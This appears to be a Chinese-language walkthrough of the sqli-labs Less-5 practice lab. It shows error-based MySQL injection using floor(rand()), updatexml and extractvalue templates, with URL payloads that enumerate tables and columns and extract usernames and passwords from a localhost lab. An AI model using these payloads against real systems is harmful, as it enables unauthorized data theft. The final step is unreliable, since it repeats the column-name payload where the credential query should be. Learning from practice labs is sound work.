#sqli-labs less5

从含义上讲,count(1) 与 count() 都表示对全部数据行的查询。count() 包括了所有的列,相当于行数,在统计结果的时候,不会忽略列值为NULL ;count(1) 用1代表代码行,在统计结果的时候,不会忽略列值为NULL 。

一般情况下SQL的报错信息是不会显示在页面中的
只有在php.ini 进行如下配置
display_errors=On (开启PHP错误回显)
SQL报错信息才会被显示在页面上

常用的报错语句模板:

  1. 通过floor报错
    and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
    其中payload为你要插入的SQL语句
    需要注意的是该语句将 输出字符长度限制为64个字符

  2. 通过updatexml报错
    and updatexml(1,payload,1)
    同样该语句对输出的字符长度也做了限制,其最长输出32位
    并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

  3. 通过ExtractValue报错
    and extractvalue(1, payload)
    输出字符有长度限制,最长32位。

#sqli-labs less5

######################################################################

http://localhost/sqli-labs-master/Less-5/?id=1’

#sqli-labs less5
表示可能是一个字符型注入

http://localhost/sqli-labs-master/Less-5/?id=1%27%20order%20by%203–+
#sqli-labs less5
也很顺利

意外发生了

用 'union select 1,2,3 --+ 该语句 不管更改多少次id传参值 一直没有显示位,可见并不是联合查询注入的类型

所以试试报错型注入

http://localhost/sqli-labs-master/Less-5/?id=1%27%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),database())as%20x%20from%20information_schema.tables%20group%20by%20x)as%20a)–+

#sqli-labs less5
成功了

接下来试试表名

‘and(select 1 from (select count(*),concat((select concat(table_name,’;’) from information_schema.tables where table_schema=‘security’ limit 1,1),floor(rand(0)*2))as x from information_schema.tables group by x)as a)–+

‘and (select 1 from (select count(*),concat((select concat(table_name,’;’) from information_schema.tables where table_schema=‘security’ limit 2,1),floor(rand(0)*2)) as x from information_schema.tables group by x) as a) --+

通过修改limit 数字,1 来依次爆出表名

#sqli-labs less5爆列名跟爆表名差不多

http://localhost/sqli-labs-master/Less-5/?id=1’and(select 1 from (select count(*),concat((select concat(column_name,’;’) from information_schema.columns where table_name=‘user’ limit 1,1),floor(rand(0)*2))as x from information_schema.tables group by x)as a)–+

#sqli-labs less5

最后开始查询字段

http://localhost/sqli-labs-master/Less-5/?id=1’and(select 1 from (select count(*),concat((select concat(username,’;’,password,’:’) from security.users limit 2,1),floor(rand(0)*2))as x from security.users group by x)as a)–+

#sqli-labs less5

以上是floor()报错函数类型

我们可以尝试用一下extractvalue函数

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

#sqli-labs less5

用该语句’ and (extractvalue(1,concat(0x7e,0x7e,(select user()),0x7e,0x7e)))–+可以查询user()

’ and (extractvalue(1,concat(0x7e,0x7e,(select version()),0x7e,0x7e)))–+

’ and (extractvalue(1,concat(0x7e,0x7e,(select concat(table_name) from information_schema.tables where table_schema = ‘security’ limit 0,1),0x7e,0x7e)))–+
#sqli-labs less5

同理,通过更改limit n,1 中的n 来依次猜解表名

’ and (extractvalue(1,concat(0x7e,0x7e,(select concat(column_name) from information_schema.columns where table_name = ‘users’ limit 0,1),0x7e,0x7e)))–+

#sqli-labs less5
最后再通过

’ and (extractvalue(1,concat(0x7e,0x7e,(select concat(column_name) from information_schema.columns where table_name = ‘users’ limit 0,1),0x7e,0x7e)))–+

解决账号和密码问题

相关文章: